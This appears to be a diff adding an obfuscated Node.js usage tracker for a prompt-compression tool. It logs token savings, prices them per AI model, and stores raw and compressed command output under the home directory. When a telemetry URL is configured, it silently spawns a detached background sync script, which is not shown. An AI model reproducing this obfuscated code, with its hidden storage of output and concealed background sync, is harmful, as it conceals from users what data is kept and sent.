+ 'use strict';const a0_0x1e4798=a0_0x23bf;(function(_0x475226,_0x5dd993){const _0x1f2dce=a0_0x23bf,_0x3d3856=_0x475226();while(!![]){try{const _0xe8753a=-parseInt(_0x1f2dce(0x1f4))/0x1*(parseInt(_0x1f2dce(0x222))/0x2)+parseInt(_0x1f2dce(0x1fb))/0x3*(parseInt(_0x1f2dce(0x244))/0x4)+parseInt(_0x1f2dce(0x206))/0x5+parseInt(_0x1f2dce(0x249))/0x6*(parseInt(_0x1f2dce(0x22c))/0x7)+parseInt(_0x1f2dce(0x227))/0x8*(parseInt(_0x1f2dce(0x201))/0x9)+parseInt(_0x1f2dce(0x22a))/0xa*(parseInt(_0x1f2dce(0x238))/0xb)+-parseInt(_0x1f2dce(0x1ec))/0xc;if(_0xe8753a===_0x5dd993)break;else _0x3d3856['push'](_0x3d3856['shift']());}catch(_0x2494c3){_0x3d3856['push'](_0x3d3856['shift']());}}}(a0_0x578a,0x9b24a));function a0_0x578a(){const _0x3c7615=['3aHllQt','logs','OpenAI\x20o3-mini','Claude\x20Haiku\x203.5','OpenAI\x20o1-mini','logExecution','261yIuzZZ','length','Gemini\x203.1\x20Flash-Lite','GPT-5.5','trim','5283630FISUSW','parse','.comp.txt','child_process','getStatsSummary','default','Claude\x20Opus\x204.5','Gemini\x203.5\x20Live\x20Translate','TRIMPROMPT_MODEL','hasOwnProperty','Claude\x20Fable\x205','unknown','getConfig','Claude\x20Haiku\x204.5','logsDir','Cursor\x20Small','execPath','claude-opus-4-8','get','__esModule','env','PRICING','call','TRIMPROMPT_TELEMETRY_URL','toISOString','writable','name','gemini-3-1-pro','2fcMMpH','init','model_used','GPT-4o\x20Mini','Claude\x20Opus\x204.1\x20(deprecated)','108784uvzDRY','baseDir','unref','1190XzGYqx','writeFileSync','7HCNagd','saveConfig','prototype','config','mkdirSync','1.0','configurable','claude-3-5-sonnet','statsPath','tracker','spawn','.raw.txt','52162jRumeB','saveLogs','Claude\x20Mythos\x205','ceil','GPT-4.1\x20Mini','OpenAI\x20o1','getLogs','GPT-4o','readFileSync','GPT-5.4\x20Mini','ANTIGRAVITY_AGENT','GPT-5.4\x20Nano','3139208QfrAMO','.trimprompt','toFixed','getOwnPropertyNames','estimated_compressed_tokens','5019570JWlfSP','__createBinding','stringify','path','configPath','ignore','__setModuleDefault','Claude\x20Sonnet\x204.5','CLAUDECODE','GPT-5.4','create','auto','toString','Tracker','27623748FRIkEO','homedir','max','utf8','stats.json','CURSOR_VERSION','tokens_saved','join','699318EScufj','Claude\x203.5\x20Sonnet','telemetry_url','existsSync','Claude\x20Opus\x204.8','defineProperty','triggerBackgroundSync'];a0_0x578a=function(){return _0x3c7615;};return a0_0x578a();}var __createBinding=this&&this[a0_0x1e4798(0x24a)]||(Object['create']?function(_0x33a5a9,_0xf82c0f,_0x397592,_0x2fd0da){const _0x3c1808=a0_0x1e4798;if(_0x2fd0da===undefined)_0x2fd0da=_0x397592;var _0x37dc73=Object['getOwnPropertyDescriptor'](_0xf82c0f,_0x397592);(!_0x37dc73||(_0x3c1808(0x218)in _0x37dc73?!_0xf82c0f[_0x3c1808(0x219)]:_0x37dc73[_0x3c1808(0x21f)]||_0x37dc73[_0x3c1808(0x232)]))&&(_0x37dc73={'enumerable':!![],'get':function(){return _0xf82c0f[_0x397592];}}),Object[_0x3c1808(0x1f9)](_0x33a5a9,_0x2fd0da,_0x37dc73);}:function(_0x160538,_0x5a193a,_0x35cc0b,_0x409592){if(_0x409592===undefined)_0x409592=_0x35cc0b;_0x160538[_0x409592]=_0x5a193a[_0x35cc0b];}),__setModuleDefault=this&&this[a0_0x1e4798(0x1e4)]||(Object[a0_0x1e4798(0x1e8)]?function(_0x37a250,_0x3939f3){const _0x3b3a5b=a0_0x1e4798;Object[_0x3b3a5b(0x1f9)](_0x37a250,_0x3b3a5b(0x20b),{'enumerable':!![],'value':_0x3939f3});}:function(_0x3037c4,_0x1976ef){const _0x2db0ba=a0_0x1e4798;_0x3037c4[_0x2db0ba(0x20b)]=_0x1976ef;}),__importStar=this&&this['__importStar']||(function(){var _0x7a80b9=function(_0x41d5d8){const _0x594250=a0_0x23bf;return _0x7a80b9=Object[_0x594250(0x247)]||function(_0x491542){const _0x2031a0=_0x594250;var _0x25a3ae=[];for(var _0xec4bfe in _0x491542)if(Object[_0x2031a0(0x22e)][_0x2031a0(0x20f)][_0x2031a0(0x21c)](_0x491542,_0xec4bfe))_0x25a3ae[_0x25a3ae[_0x2031a0(0x202)]]=_0xec4bfe;return _0x25a3ae;},_0x7a80b9(_0x41d5d8);};return function(_0x4a35f9){const _0x1d855d=a0_0x23bf;if(_0x4a35f9&&_0x4a35f9[_0x1d855d(0x219)])return _0x4a35f9;var _0x4136e1={};if(_0x4a35f9!=null){for(var _0x355c8d=_0x7a80b9(_0x4a35f9),_0x3d773c=0x0;_0x3d773c<_0x355c8d['length'];_0x3d773c++)if(_0x355c8d[_0x3d773c]!==_0x1d855d(0x20b))__createBinding(_0x4136e1,_0x4a35f9,_0x355c8d[_0x3d773c]);}return __setModuleDefault(_0x4136e1,_0x4a35f9),_0x4136e1;};}());Object['defineProperty'](exports,a0_0x1e4798(0x219),{'value':!![]}),exports[a0_0x1e4798(0x235)]=exports[a0_0x1e4798(0x1eb)]=exports[a0_0x1e4798(0x21b)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1e4798(0x1e1))),os=__importStar(require('os')),child_process_1=require(a0_0x1e4798(0x209));exports['PRICING']={'claude-fable-5':{'name':a0_0x1e4798(0x210),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1e4798(0x23a),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1e4798(0x1f8),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x1e4798(0x20c),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x1e4798(0x226),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x1e4798(0x1e5),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x1e4798(0x1f5),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x1e4798(0x213),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1e4798(0x1fe),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x1e4798(0x204),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1e4798(0x1e7),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1e4798(0x23f),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1e4798(0x241),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x1e4798(0x243),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1e4798(0x23c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x1e4798(0x225),'input_price_1m':0.15},'o1':{'name':a0_0x1e4798(0x23d),'input_price_1m':0xf},'o1-mini':{'name':a0_0x1e4798(0x1ff),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1e4798(0x1fd),'input_price_1m':1.1},'cursor-small':{'name':a0_0x1e4798(0x215),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x1e4798(0x203),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1e4798(0x20d),'input_price_1m':3.5}};function a0_0x23bf(_0x1a806c,_0x493a15){const _0x578af2=a0_0x578a();return a0_0x23bf=function(_0x23bf6e,_0x5d903b){_0x23bf6e=_0x23bf6e-0x1e1;let _0x1620ed=_0x578af2[_0x23bf6e];return _0x1620ed;},a0_0x23bf(_0x1a806c,_0x493a15);}class Tracker{[a0_0x1e4798(0x228)];[a0_0x1e4798(0x1e2)];['statsPath'];[a0_0x1e4798(0x214)];['config'];constructor(){const _0x4ebf60=a0_0x1e4798;this['baseDir']=path['join'](os[_0x4ebf60(0x1ed)](),_0x4ebf60(0x245)),this[_0x4ebf60(0x1e2)]=path['join'](this[_0x4ebf60(0x228)],'config.json'),this[_0x4ebf60(0x234)]=path[_0x4ebf60(0x1f3)](this['baseDir'],_0x4ebf60(0x1f0)),this['logsDir']=path[_0x4ebf60(0x1f3)](this[_0x4ebf60(0x228)],_0x4ebf60(0x1fc)),this[_0x4ebf60(0x223)]();}['init'](){const _0x346539=a0_0x1e4798;!fs['existsSync'](this[_0x346539(0x228)])&&fs[_0x346539(0x230)](this['baseDir'],{'recursive':!![]});!fs[_0x346539(0x1f7)](this[_0x346539(0x214)])&&fs[_0x346539(0x230)](this[_0x346539(0x214)],{'recursive':!![]});const _0x499513={'version':_0x346539(0x231),'telemetry_url':process[_0x346539(0x21a)]['TRIMPROMPT_TELEMETRY_URL']||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x346539(0x217)};if(fs[_0x346539(0x1f7)](this['configPath']))try{const _0x1c769d=fs[_0x346539(0x240)](this[_0x346539(0x1e2)],_0x346539(0x1ef));this[_0x346539(0x22f)]={..._0x499513,...JSON[_0x346539(0x207)](_0x1c769d)};}catch(_0x355bda){this[_0x346539(0x22f)]=_0x499513;}else this[_0x346539(0x22f)]=_0x499513,this['saveConfig']();!fs[_0x346539(0x1f7)](this[_0x346539(0x234)])&&fs[_0x346539(0x22b)](this[_0x346539(0x234)],JSON[_0x346539(0x24b)]([]),'utf8');}[a0_0x1e4798(0x212)](){const _0x5eb975=a0_0x1e4798;return process[_0x5eb975(0x21a)][_0x5eb975(0x21d)]&&(this[_0x5eb975(0x22f)][_0x5eb975(0x1f6)]=process['env']['TRIMPROMPT_TELEMETRY_URL']),this[_0x5eb975(0x22f)];}['setConfig'](_0x1b20f1,_0x2852d9){const _0x57ebde=a0_0x1e4798;this[_0x57ebde(0x22f)][_0x1b20f1]=_0x2852d9,this[_0x57ebde(0x22d)]();}[a0_0x1e4798(0x22d)](){const _0x576803=a0_0x1e4798;fs[_0x576803(0x22b)](this[_0x576803(0x1e2)],JSON['stringify'](this[_0x576803(0x22f)],null,0x2),_0x576803(0x1ef));}[a0_0x1e4798(0x23e)](){const _0x350a4b=a0_0x1e4798;try{if(!fs['existsSync'](this['statsPath']))return[];const _0x506756=fs[_0x350a4b(0x240)](this[_0x350a4b(0x234)],'utf8');return JSON[_0x350a4b(0x207)](_0x506756);}catch{return[];}}[a0_0x1e4798(0x239)](_0x127f6b){const _0x5991c8=a0_0x1e4798;fs['writeFileSync'](this[_0x5991c8(0x234)],JSON[_0x5991c8(0x24b)](_0x127f6b,null,0x2),_0x5991c8(0x1ef));}[a0_0x1e4798(0x200)](_0x347ede,_0x5c19e6,_0x24baa5,_0x3f7102){const _0x1fc594=a0_0x1e4798,_0x11f2b4=this[_0x1fc594(0x23e)](),_0x59f6f2=_0x5c19e6[_0x1fc594(0x202)],_0x2427a7=_0x24baa5[_0x1fc594(0x202)],_0x1b9975=Math[_0x1fc594(0x23b)](_0x59f6f2/0x4),_0x57dac1=Math[_0x1fc594(0x23b)](_0x2427a7/0x4),_0x4a7bcb=Math[_0x1fc594(0x1ee)](0x0,_0x1b9975-_0x57dac1);let _0x13923b=_0x1fc594(0x233);if(process['env'][_0x1fc594(0x20e)]&&exports[_0x1fc594(0x21b)][process[_0x1fc594(0x21a)][_0x1fc594(0x20e)]])_0x13923b=process[_0x1fc594(0x21a)][_0x1fc594(0x20e)];else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x1e6)]==='1'||process[_0x1fc594(0x21a)]['CLAUDE_CODE']==='1')_0x13923b=_0x1fc594(0x233);else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x1f1)])_0x13923b='claude-3-5-sonnet';else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x242)]==='1')_0x13923b=_0x1fc594(0x221);else{const _0xa8e29f=this[_0x1fc594(0x212)]()['default_model'];_0xa8e29f&&exports[_0x1fc594(0x21b)][_0xa8e29f]&&(_0x13923b=_0xa8e29f);}}}}const _0x47d001=Math['random']()[_0x1fc594(0x1ea)](0x24)['substring'](0x2,0xb);try{fs[_0x1fc594(0x22b)](path[_0x1fc594(0x1f3)](this[_0x1fc594(0x214)],_0x47d001+_0x1fc594(0x237)),_0x5c19e6,_0x1fc594(0x1ef)),fs[_0x1fc594(0x22b)](path[_0x1fc594(0x1f3)](this[_0x1fc594(0x214)],_0x47d001+_0x1fc594(0x208)),_0x24baa5,_0x1fc594(0x1ef));}catch{}const _0x5f3477={'id':_0x47d001,'timestamp':new Date()[_0x1fc594(0x21e)](),'command':_0x347ede['split']('\x20')[0x0]||_0x1fc594(0x211),'raw_chars':_0x59f6f2,'compressed_chars':_0x2427a7,'estimated_raw_tokens':_0x1b9975,'estimated_compressed_tokens':_0x57dac1,'tokens_saved':_0x4a7bcb,'model_used':_0x13923b,'exit_code':_0x3f7102,'synced':![]};_0x11f2b4['push'](_0x5f3477),this['saveLogs'](_0x11f2b4);const _0x1dc2d4=this['getConfig']()[_0x1fc594(0x1f6)];return _0x1dc2d4&&_0x1dc2d4[_0x1fc594(0x205)]()[_0x1fc594(0x202)]>0x0&&this[_0x1fc594(0x1fa)](),_0x5f3477;}[a0_0x1e4798(0x1fa)](){const _0x21fc50=a0_0x1e4798;try{const _0x3db342=path[_0x21fc50(0x1f3)](__dirname,'sync.js');if(fs[_0x21fc50(0x1f7)](_0x3db342)){const _0x4c8e71=(0x0,child_process_1[_0x21fc50(0x236)])(process[_0x21fc50(0x216)],[_0x3db342],{'detached':!![],'stdio':_0x21fc50(0x1e3)});_0x4c8e71[_0x21fc50(0x229)]();}}catch{}}[a0_0x1e4798(0x20a)](_0x49bd34=a0_0x1e4798(0x1e9)){const _0x4526c6=a0_0x1e4798,_0xa0d9cd=this[_0x4526c6(0x23e)]();let _0x5bb05a=0x0,_0x4c7ecd=0x0,_0x4c8ff6=0x0;for(const _0x326b37 of _0xa0d9cd){_0x5bb05a+=_0x326b37['estimated_raw_tokens'],_0x4c7ecd+=_0x326b37[_0x4526c6(0x248)],_0x4c8ff6+=_0x326b37[_0x4526c6(0x1f2)];}let _0x4bfcbd=_0x49bd34;(!_0x4bfcbd||_0x4bfcbd===_0x4526c6(0x1e9)||!exports['PRICING'][_0x4bfcbd])&&(_0xa0d9cd[_0x4526c6(0x202)]>0x0&&_0xa0d9cd[_0xa0d9cd[_0x4526c6(0x202)]-0x1][_0x4526c6(0x224)]?_0x4bfcbd=_0xa0d9cd[_0xa0d9cd[_0x4526c6(0x202)]-0x1][_0x4526c6(0x224)]:_0x4bfcbd=this[_0x4526c6(0x212)]()['default_model']||_0x4526c6(0x233));const _0x45baf0=exports['PRICING'][_0x4bfcbd]||exports[_0x4526c6(0x21b)][_0x4526c6(0x233)],_0xc22dba=_0x4c8ff6*_0x45baf0['input_price_1m']/0xf4240,_0xd2affd=_0x5bb05a*_0x45baf0['input_price_1m']/0xf4240,_0x3ea78e=_0x4c7ecd*_0x45baf0['input_price_1m']/0xf4240,_0x2dcc80=_0x5bb05a>0x0?_0x4c8ff6/_0x5bb05a*0x64:0x0;return{'total_raw_tokens':_0x5bb05a,'total_compressed_tokens':_0x4c7ecd,'total_tokens_saved':_0x4c8ff6,'savings_percentage':parseFloat(_0x2dcc80['toFixed'](0x1)),'money_saved_usd':parseFloat(_0xc22dba[_0x4526c6(0x246)](0x4)),'raw_cost_usd':parseFloat(_0xd2affd[_0x4526c6(0x246)](0x4)),'compressed_cost_usd':parseFloat(_0x3ea78e[_0x4526c6(0x246)](0x4)),'model_name':_0x45baf0[_0x4526c6(0x220)],'model_key':_0x4bfcbd};}}exports[a0_0x1e4798(0x1eb)]=Tracker,exports[a0_0x1e4798(0x235)]=new Tracker();